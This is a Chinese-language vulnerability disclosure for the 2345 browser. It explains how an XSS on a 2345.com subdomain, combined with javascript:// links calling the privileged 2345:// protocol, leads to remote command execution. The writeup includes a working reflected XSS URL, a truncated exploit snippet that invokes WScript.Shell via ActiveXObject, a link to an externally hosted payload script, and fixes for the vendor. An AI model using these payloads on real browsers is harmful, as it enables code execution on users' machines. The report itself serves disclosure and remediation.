2345浏览器设计缺陷可导致远程代码执行
简单暴力无限制。20rank毫无违和感。
2345 浏览器更新到最新版:
目前的2345浏览器,依旧是允许javascript://伪协议来定义主页神马的,但是这些都不是本文的重点。重点是一个比较严重的设计缺陷导致命令执行。
在之前提交的案例之中,我摸索着怎么去调试一些poc。在我测试2345网络收藏夹的时候,惊讶的发现,我里面的链接居然是可以执行命令的:
也就是说,此处我们并不是传统的2345://,也不是传统的特权域,但是因为Javascript://协议的关系,导致直接调用2345://协议,即本地域,去执行代码,这样一来,危害就很大了。
但是经过详细测试之后,发现并不是所有域都能这么做,模糊测试之后,发现*.2345.com下的xss可以实现这样的功能。
因此我们需要找到.2345.com域的一个xss,这对我们来说并不是什么难事。
http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=alert(1)%3E
此处xss会被chrome拦截,而2345浏览器默认配置不会拦截:
特权域有了,知道该怎么做了。
构造缺陷代码:
var f=document.createElement("a");f.href='javascript:WSH=new ActiveXObject("WScript.Shell |
具体可看:
http://wutongyu.info/alert.js
虽然是a标签点击才能触发,但是我们完全可以通过js的click()函数实现自动触发。
变形之后生成链接:
用最新版2345浏览器访问上述url:
解决方案:
重新考量javascript://协议在你们浏览器中的危害,任意网站调用a href="javascript://"的时候应该在a当前网站打开。
修补此处xss,不过似乎有点治标不治本。